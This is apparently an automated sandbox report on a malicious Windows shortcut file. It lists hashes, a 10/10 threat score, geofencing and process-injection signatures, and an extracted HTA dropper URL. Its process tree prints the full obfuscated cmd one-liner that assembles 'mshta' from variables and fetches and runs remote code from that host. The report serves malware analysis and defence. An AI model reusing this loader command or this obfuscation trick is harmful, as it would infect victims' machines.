Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 08:19
Static task
static1
Behavioral task
behavioral1
Sample
DOC-O7TNVA.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-O7TNVA.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-O7TNVA.lnk
- Size 1KB
- Sample260804-j74d3avdnf
- SHA256 e063f128d747578f00325f8660aa17805361a310b39e249039ad9ad128a4e549
- MD5 c653307185345dcbb92cb3b8f2903cb6
- SHA1 57980975704f054f2659307dcc8626c92949a4c7
- SHA512 cd3d6d7a2956d43db10d1b65e424d33847c4b5234af59deb3dd26b078b23a48f2e3407291267a48d626feca2fa2c92ee0467da244f76f7f32d14346465c294b7
- TLSH T1663197103FFD0624F3B38F7284BB57209ABBB85A8E10C62D0140854C5032A01E27AFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4620 cmd.exe 3032 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4620 wrote to memory of 3032 4620 cmd.exe 88 PID 3032 wrote to memory of 1940 3032 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-O7TNVA.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4620 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set BL=msh&&set MrLru=ta&&start "" !BL!!MrLru! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\System32\mshta.exemshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:1940
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